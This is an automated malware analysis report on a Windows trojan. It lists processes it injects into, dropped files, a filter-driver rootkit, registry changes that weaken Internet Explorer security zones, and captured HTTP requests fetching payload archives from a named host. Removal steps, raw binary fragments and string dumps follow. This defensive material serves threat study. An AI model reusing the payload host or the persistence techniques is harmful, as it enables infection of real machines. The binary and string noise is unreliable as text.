Trojan.Generic.16226831_3d0fa2e20e

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

ping.exe:2020
%original file name%.exe:2024
LMIns.exe:228

The Trojan injects its code into the following process(es):

Ììʹ.exe:872
Explorer.EXE:884

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:2024 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Ììʹ.exe (17629 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\LMIns.exe (5442 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\1192515 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\1192515\TemporaryFile (0 bytes)

The process LMIns.exe:228 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (2 bytes)
%WinDir%\Setupsti.log (8282 bytes)
%WinDir%\setupapi.log (3776 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_lm_delself_.bat (101 bytes)
%WinDir%\inf\oem11.inf (2 bytes)
%System%\drivers\SET4.tmp (27 bytes)
%WinDir%\inf\oem11.PNF (11641 bytes)
%WinDir%\hllog.txt (13 bytes)
%WinDir%\_ntdll.bak (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (1176 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@doubleclick[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@rambler[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@money.ca.msn[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@msnportal.112.2o7[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@kaspersky[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.msn[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@aaa[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bing[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@twitter[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@auto.search.msn[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@microsoft[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@c.msn[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@abmr[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@hit.gemius[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@c.bing[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@pass.yandex[1].txt (0 bytes)
%System%\drivers\SET4.tmp (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@kaspersky.122.2o7[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@c.ca.msn[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@adnxs[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@atdmt[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@hm.baidu[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@adgear[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@ssl.bing[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@c.atdmt[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@yandex[3].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@yandex[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@msn[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@yandex[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.bing[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@tns-counter[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@scorecardresearch[2].txt (0 bytes)

The process Ììʹ.exe:872 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\ÁÙʱĿ¼λÖÃ.ini (46 bytes)

Registry activity

The process ping.exe:2020 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "16 85 A6 44 11 2A 37 D4 FF 89 60 A4 10 B1 2C 1A"

The process %original file name%.exe:2024 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EF 69 C5 A8 F4 25 72 72 B5 81 DE B5 77 E8 2D F9"

The process LMIns.exe:228 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SYSTEM\LastKnownGoodRecovery\LastGood]
"INF/oem11.inf" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"FSFilter Activity Monitor" = "04 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Services\Mslmedia]
"DebugFlags" = "0"

[HKLM\SYSTEM\LastKnownGoodRecovery\LastGood]
"INF/oem11.PNF" = "1"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"_lm_delself_.bat" = "_lm_delself_"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F7 83 B3 4D 2F 21 AA FF 10 26 B3 07 66 72 74 26"

[HKLM\System\CurrentControlSet\Services\Mslmedia\Instances]
"DefaultInstance" = "Mslmedia Instance"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\System\CurrentControlSet\Services\Mslmedia\Instances\Mslmedia Instance]
"Altitude" = "370030"
"Flags" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process Ììʹ.exe:872 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A4 D5 7C D0 1F D9 24 13 50 62 85 49 13 F4 46 32"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\_@1.tmp,"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "%System%\DRIVERS\Mslmedia.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):

   ping.exe:2020
   %original file name%.exe:2024
   LMIns.exe:228
   

3. Delete the original Trojan file.
   
4. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temp\Ììʹ.exe (17629 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\LMIns.exe (5442 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.inf (2 bytes)
   %WinDir%\Setupsti.log (8282 bytes)
   %WinDir%\setupapi.log (3776 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_lm_delself_.bat (101 bytes)
   %WinDir%\inf\oem11.inf (2 bytes)
   %System%\drivers\SET4.tmp (27 bytes)
   %WinDir%\inf\oem11.PNF (11641 bytes)
   %WinDir%\hllog.txt (13 bytes)
   %WinDir%\_ntdll.bak (4545 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\~tmp_hl\mslmedia.sys (1176 bytes)
   C:\ÁÙʱĿ¼λÖÃ.ini (46 bytes)

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

Static Analysis

VersionInfo

Company Name:
Product Name: ?????
Product Version: 1.0.0.0
Legal Copyright: ?????? ????????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.0.0.0
File Description: ?????
Comments: ??????????(http://www.eyuyan.com)
Language: English (United States)

Company Name: Product Name: ?????Product Version: 1.0.0.0Legal Copyright: ?????? ????????Legal Trademarks: Original Filename: Internal Name: File Version: 1.0.0.0File Description: ?????Comments: ??????????(http://www.eyuyan.com)Language: English (United States)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /updatever.rar HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: hlupdate.liu1xia.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: AliyunOSS

Date: Tue, 12 Apr 2016 13:57:00 GMT

Content-Type: application/octet-stream

Content-Length: 43093

Connection: keep-alive

x-oss-request-id: 570CFEAC8051B2B0D65741A8

Accept-Ranges: bytes

ETag: "CC9E7A6455FB651F1FBE2230F30CFD19"

Last-Modified: Tue, 05 Apr 2016 14:30:38 GMT

x-oss-object-type: Normal

x...}xT..0~&s....3....2... ....I4.L....!3..D ...J...J..3..lF.{...z..{....V1.*N.........h..8Q.@> ..k.33......<......s.9.c....^k.}N.....s...OU9.....r...>.M........:.E........j........c.]w..'.J..n.l..b..'..Un...].a~ff.5....?\.Z..l....?.. K......y.W.~..|..K.<.%K.<...}.'..gq.v}..KW.s...]9f...V.R..czo"..K.5^7..N...Z^.*.....;.O...x.D...1.}*..Xkd..j.S3u.rH..:n.f........n.q...3.-F..4.q.t...|i.........d..ca...oY..t'.....{.......[8_..=.....I........e..........d..#.-.6.....j8...^....p........v..........D......9.9mq.d..S.p..5e.[JU.-.t...;S.C?k..=E..i....)q\..W{...z];)..u...o9...ZUU..a...Ha.q...*...`D.<..C..`......[M..b ....5...H.#.-....YW...../..]._l~..-..w6..N._..=.......>.(..v.......n$.c`.u0.V._..O% .....M....H...@.T....wS[M:j ..._...#6x.N.)\|....6..e......-..k66M,[.|.....@c...*`;..#xt..fSN..P..*5..X. .'..o.k....qLT>C.Tz...h...x.u).t.S.G.G...2.R..]...O(RvZ..|-....l....W.ia>.........k2.....!...o...h...ti....!C...L....uc.\...._.B0.c.9Zk...} M..&4.@m..6...."......j......ej/.1..7./.E.H*...6..B..../.)'...X.t...M`....J..j...6..p.|..fd...r:0*......C...>,.....@...n.]..Iz...DR.).m.... .]g.R....#f.F..%..@. )...htU.M..%...8:A............c........~.1....g....8.... .....9R._6g...J/}l89!9.I.[.&}.m.MP....?M.l@..6..n.....p>...Hk;..J.....$E.......X..~67...W...qV7...............8....y.^.../r...1\.....'..z.....]Z.... 8#C...v)...nNV.(......W!....Gp.|xE.j. .&.... .J.2...3B4.6A..9.tF..P......2}...FU..y....|..{. .......^.%.....d5.D...44.... .v.....5Vc.69[W..dH)......b.).-O.wfO..f....bz.G...@D..H2.@..C"........=.

<<< skipped >>>

GET /wkmdc.rar HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: hlupdate.liu1xia.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: AliyunOSS

Date: Tue, 12 Apr 2016 13:57:02 GMT

Content-Type: application/octet-stream

Content-Length: 370673

Connection: keep-alive

x-oss-request-id: 570CFEAE8051B2B0D65743D5

Accept-Ranges: bytes

ETag: "191F21CC190122C479F0C6DFDAC5E98C"

Last-Modified: Thu, 31 Mar 2016 04:56:22 GMT

x-oss-object-type: Normal

M.....P.t....o@p8..``..`......0 .000.p.P ..p0p.0`00...p..P.P.....O..`.9M.x.|-!dX9.....g2..P.A.^.$.B%.2.n..>pt.c.].4.>..Z...`..`..hj.'9$..94...tH..n.=.4.i..XO..(i....Ydh..7.R..h../..iT.7.EX.I.HNA....$8...X.9.H.......xb...'.$.0P...pP.P......`...6.. ...`..@...a.....`...0Pp..w... .P.P .. ....@.@ .P..`..@..`%.... P.....T`.... "0..@.`0.........`.@....@...P..0&.@......P.P0@.@.aP`. ........P.0. P..!P....@.1.....`.....@.P.`P........P`......00P..p..0p..p.A..a.`.P``p....`...P..@...p....de.........@..@......0`.p..0..............1da...1. ...@..P.@n.@.`P.......pp...0.4.41@.`......q ...0P.1p0..`..@.``0..p.P..S.....tQ..`.1@....0...`.....@. ...p.P.^R.....P...`..Q..X@..F..@@@....P.....0.R.. `. ....p.P ...0.p0p.`@. ......0.p ..@. 0.........@0..0...... ...0... .. ....Pp...0....`.p......P.`.....pp......P.P ..P0.`... .......P@.@. @p..0... .@ P..`.p...``... .p`@ .@@pp`...@....`P.....`...0`0.....P.P0.P.`.. . .@0@.`.@...0.0@.....@`.Pp.. @@.......0........... ...@`0.`.0 ....0..@0..pP0@0..p...@..P`p...P....pp..P.pp P.P..@P0...P..`...@{....,...|\l.\........,,.L.<........l........L..[Dd.. (.$.4.....P,....L\.l|.|.,L. 4..C.TW].D.o...1..X./. V...;..`[.?.....l..l.,....U).........1Ld.Q0.A.!..P ..y...[....BP.R.P.."<P..\.\|.\.L.....H.G1..1..p0..x.A..t.}4D.d..0.@...Dw.x...s..p.0.q0I..........q`..$H_..9.|Y...4D\....[\tdD.]....9.......,,\<...|..Q......V.T.1.)6......DdK.n..@lz.....0.A...0..q8 ...t........@.`..dX.V._..W.Th..@..T.`@.P;.,.@D...~..........`.p..`.` ..T..../_W.t0/.`..T........9.s.....,..<..cV......'K.H..Q......$.......D

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

Ììʹ.exe_872:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

t$(SSh

t$(SSh

~%UVW

~%UVW

u$SShe

u$SShe

GetProcessHeap

GetProcessHeap

\AudioSes.dll

\AudioSes.dll

\CEGUI.log

\CEGUI.log

\TenSRL.dat

\TenSRL.dat

ssF.data

ssF.data

2=%F_=

2=%F_=

2%U{Q

2%U{Q

weQmw.qg

weQmw.qg

%s1>

%s1>

Yq.Aa

Yq.Aa

kx.lR

kx.lR

.aP6=

.aP6=

i.KF(

i.KF(

.MBW|

.MBW|

A}QpD.CV

A}QpD.CV

.zsM5K

.zsM5K

3.RZ_

3.RZ_

{zR

{zR

.AH~/

.AH~/

.Sqv^mm

.Sqv^mm

cscapi.dll

cscapi.dll

kernel32.dll

kernel32.dll

user32.dll

user32.dll

advapi32.dll

advapi32.dll

oleaut32.dll

oleaut32.dll

gdi32.dll

gdi32.dll

shell32.dll

shell32.dll

version.dll

version.dll

MSVCRT.dll

MSVCRT.dll

SHLWAPI.dll

SHLWAPI.dll

RegCloseKey

RegCloseKey

ShellExecuteA

ShellExecuteA

_:%u@

_:%u@

Q5%Sx

Q5%Sx

@.HD_

@.HD_

?b=ssH

?b=ssH

M|.QE

M|.QE

w#%xf

w#%xf

4)EB.LEy

4)EB.LEy

2%0X2

2%0X2

.qR{[

.qR{[

\.Ne7]

\.Ne7]

G7.CFn

G7.CFn

ÀiH%$1g

ÀiH%$1g

b.ln1

b.ln1

n:%u|

n:%u|

pp;%F

pp;%F

GJma%Dtj

GJma%Dtj

n .in

n .in

^t.KnR/k

^t.KnR/k

%S6=f

%S6=f

%CRyDL

%CRyDL

O[.cC

O[.cC

f .iF

f .iF

%X6RU

%X6RU

2i;r%Fu

2i;r%Fu

.Edqn

.Edqn

.ud8I

.ud8I

%UPor

%UPor

QTTcp

QTTcp

)*w.yB:

)*w.yB:

E5u.IgySB

E5u.IgySB

erhD.yY

erhD.yY

JL)%cP

JL)%cP

P,

P,

6%Fi~

6%Fi~

n.uJC

n.uJC

o2OSC.KF

o2OSC.KF

%D%u*

%D%u*

P9|bY.kc

P9|bY.kc

_{.Qd

_{.Qd

M.Gd0

M.Gd0

UP%s-

UP%s-

x0Y\.Ne

x0Y\.Ne

L6Bw

L6Bw

`.ESc

`.ESc

.hF){

.hF){

.wA@!yH

.wA@!yH

>%U,N

>%U,N

.JPTv

.JPTv

.mrA_

.mrA_

=.Wx5

=.Wx5

=~V9.nP

=~V9.nP

(Of1}2%C

(Of1}2%C

KBI.EuQ

KBI.EuQ

.KePA

.KePA

G2.aW

G2.aW

DTCP

DTCP

xW.rH

xW.rH

]%uyYPXA]

]%uyYPXA]

.fGj0op[

.fGj0op[

>L.Zc

>L.Zc

iCXV%d

iCXV%d

.uu&i

.uu&i

=.sj]2e

=.sj]2e

,%UmNm

,%UmNm

:@Z%f

:@Z%f

P@#h%d"

P@#h%d"

IfTP

IfTP

=.WB5

=.WB5

.hlp

.hlp

.idata

.idata

.edata

.edata

P.vmp0

P.vmp0

`.vmp1

`.vmp1

.reloc

.reloc

P.rsrc

P.rsrc

1e.ro4A

1e.ro4A

H0.gW

H0.gW

comctl32.dll

comctl32.dll

d.jF/"

d.jF/"

r#'%C

r#'%C

6.Xdp

6.Xdp

g|$^.Cn

g|$^.Cn

>.bM8

>.bM8

>Z.Ye

>Z.Ye

w4R`$p%s*

w4R`$p%s*

f.zo~L^

f.zo~L^

wsock32.dll

wsock32.dll

ntdll.dll

ntdll.dll

Ë.L@

Ë.L@

l.sQ{

l.sQ{

c-t{.FF

c-t{.FF

b#I".wM

b#I".wM

e.ENZ

e.ENZ

xip.tu

xip.tu

@>.vO

@>.vO

%FX2Fsi

%FX2Fsi

qKT.jLka

qKT.jLka

3.LD7

3.LD7